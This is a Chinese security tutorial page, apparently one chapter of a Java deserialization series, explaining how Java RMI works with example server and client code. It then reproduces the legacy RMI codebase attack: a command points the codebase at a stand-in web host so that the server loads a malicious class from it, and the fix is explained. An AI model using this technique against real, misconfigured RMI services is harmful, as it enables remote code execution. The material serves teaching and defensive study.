- 1 序列化与反序列化基础
- 2 漏洞基本原理
- 3 Java 反射
- 4 DNSURL gadget 分析
- 1 背景介绍
- 2 CommonsCollections 1 Gadget 分析
- 3 CommonsCollections 6 Gadget 分析
- 4 CommonsCollections 2&&4 Gadget 分析
- JDK 7U21 Gadget
- 1 原理
- 2 构造
- 3 调用链
- 4 总结
- 1 Java 动态加载字节码
- 2 CommonsCollections 3 Gadget 分析
- 3 CommonsCollections 5 Gadget 分析
- 4 CommonsCollections 7 Gadget 分析
- 反序列化攻击涉及到的相关协议
- 1 RMI
- 2 JNDI
1 RMI
1.1 RMI 原理
RMI 全称是 Remote Method Invocation
,远程方法调用。其的⽬标和 RPC 类似的,是让某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中对象上的方法。
整个过程有三个组织参与:Client、Registry(注册中心)、Server。
- RMI 的传输是基于反序列化的。
- 对于任何一个以对象为参数的 RMI 接口,构建对象,使服务器端将其按任何一个存在于服务端 classpath 中的可序列化类来反序列化恢复对象。
RMI 涉及到参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的 serialVersionUID 字段要与服务器端保持一致。
问题
- 什么是 Stub?
每个远程对象都包含一个代理对象 Stub,当运行在本地 Java 虚拟机上的程序调用运行在远程 Java 虚拟机上的对象方法时,它首先在本地创建该对象的代理对象 Stub,然后调用代理对象上匹配的方法。
Stub 对象负责调用参数和返回值的流化(Serialization)、打包解包,以及网络层的通讯过程。
- 什么是 Skeleton?
每一个远程对象同时也包含一个 Skeleton 对象,Skeleton 运行在远程对象所在的虚拟机上,接受来自 stub 对象的调用。
RMI 中的基本操作:
- lookup
- bind
- unbind
- list
- rebind
1.2 模拟 Java RMI 利用过程
1.2.1 RMI Server
package com.geekby.javarmi;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements RMIServer.IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
@Override
public String hello() throws RemoteException {
return "Hello World";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
// 创建并运行 RMI Registry
LocateRegistry.createRegistry(1099);
// 将 RemoteHelloWorld 对象绑定到 Hello 这个名字上
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
上面提到过,⼀个 RMI Server 分为三部分:
- ⼀个继承了
java.rmi.Remote
的接口,其中定义要远程调⽤的函数,⽐如上面的hello()
- ⼀个实现了此接⼝的类
- ⼀个主类,⽤来创建 Registry,并将上面的类实例化后绑定到一个地址,即 Server。
在上面的示例代码里,将 Registry 与 Server 合并到一起。
Naming.bind
的第一个参数是一个 URL,形如: rmi://host:port/name
。其中, host 和 port 就是 RMI Registry 的地址和端口,name 是远程对象的名字。
信息
如果 RMI Registry 在本地运行,那么 host 和 port 是可以省略的,此时 host 默认是 localhost,port 默认是 1099。
Naming.bind("Hello", newRemoteHelloWorld());
1.2.2 RMI Client
package com.geekby.javarmi;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
String ret = hello.hello();
System.out.println(ret);
}
}
客户端使用 Naming.lookup
在 Registry
中寻找到名字是 Hello 的对象,后⾯的使⽤用就和在本地使用是一致的。
虽然执⾏远程⽅法的时候代码是在远程服务器上执行的,但客户端还是需要知道有哪些⽅法,这时候接口的重要性就体现了,这也是为什么我们前面要继承 Remote 并将需要调⽤的方法写在接⼝ IRemoteHelloWorld 里,因为客户端也需要⽤到这个接⼝。
通过 wireshark 抓包,观察通信过程:
整个过程进⾏了两次 TCP 握手,也就是实际建⽴了两次 TCP 连接。
第⼀次建立 TCP 连接是客户端连接服务端的 1099 端⼝,⼆者进行协商后,客户端向服务端发送了⼀个 Call
消息,服务端回复了一个 ReturnData
消息,然后客户端新建了⼀个 TCP 连接,连到远端的 51388 端口。
整个过程,⾸先客户端连接 Registry,并在其中寻找 Name 是 Hello 的对象,这个对应数据流中的 Call
消息。然后,Registry 返回一个序列化的数据,就是找到的 Name=Hello
的对象,对应数据流中的 ReturnData
消息。客户端反序列化该对象,发现该对象是⼀个远程对象,地址在 IP:port
,于是再与这个 socket 地址建⽴ TCP 连接。在新的连接中,才是真正的执行远程⽅法,也就是 hello()
。
信息 RMI Registry 就像一个⽹关,其自身是不会执行远程方法的,但 RMI Server 可以在上⾯注册⼀个 Name 到对象的绑定关系。RMI Client 通过 Name 向 RMI Registry 查询,得到这个绑定关系,然后再连接 RMI Server。最后,远程方法实际上在 RMI Server 上调⽤。
1.3 攻击面
当攻击者可以访问目标 RMI Registry 的时候,会有哪些安全问题呢?
首先,RMI Registry 是一个远程对象管理的地方,可以理解为一个远程对象的“后台”。可以尝试直接访问“后台”功能,比如修改远程服务器上 Hello 对应的对象,但是,Java 对远程访问 RMI Registry 做了限制,只有来源地址是 localhost 的时候,才能调用 rebind、 bind、unbind 等方法。
不过,list 和 lookup 方法可以远程调用。
1.3.1 RMI 利用 codebase 执行任意代码
曾经有段时间,Java 是可以运行在浏览器中的。在使用 Applet 的时候通常需要指定一个 codebase 属性,比如:
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"> </applet>
除了 Applet,RMI 中也存在远程加载的场景,也会涉及到 codebase。 codebase 是一个地址,告诉 Java 虚拟机该从哪个地方去搜索类。
如果指定 codebase=http://geekby.site/
,然后加载 org.example.Example
类,则 Java 虚拟机会下载这个文件 http://geekby.site/org/example/Example.class
,并作为 Example 类的字节码。
RMI 的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的 CLASSPATH 下寻找相对应的类;如果在本地没有找到这个类,就会去远程加载 codebase 中的类。
如果 codebase 被控制,就可以加载恶意类。在 RMI 中,可以将 codebase 随着序列化数据一起传输的,服务器在接收到这个数据后就会去 CLASSPATH 和指定的 codebase 寻找类,由于 codebase 被控制导致任意命令执行漏洞。
官方通过如下方式解决了该安全问题:
- 安装并配置了 SecurityManager
- Java 版本低于 7u21、6u45,或者设置了
java.rmi.server.useCodebaseOnly
官方将 java.rmi.server.useCodebaseOnly
的默认值由 false
改为了 true
。在 java.rmi.server.useCodebaseOnly
配置为 true
的情况下,Java 虚拟机将只信任预先配置好的 codebase ,不再支持从 RMI 请求中获取。
通过创建 4 个文件,进行漏洞复现:
ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
Calc.java
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
Client.policy
grant {
permission java.security.AllPermission;
};
编译及运行:
javac *.java
java -Djava.rmi.server.hostname=10.28.178.250 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer
RMIClient.java:
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://10.28.178.250:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
} }
这个 Client 需要在另一个位置运行,需要让 RMI Server 在本地 CLASSPATH 里找不到类,才会去加载 codebase 中的类,所以不能将 RMIClient.java 放在 RMI Server 所在的目录中。
运行 RMIClient:
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient
只需要编译一个恶意类,将其 class 文件放置在 Web 服务器的 /RMIClient$Payload.class
即可。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论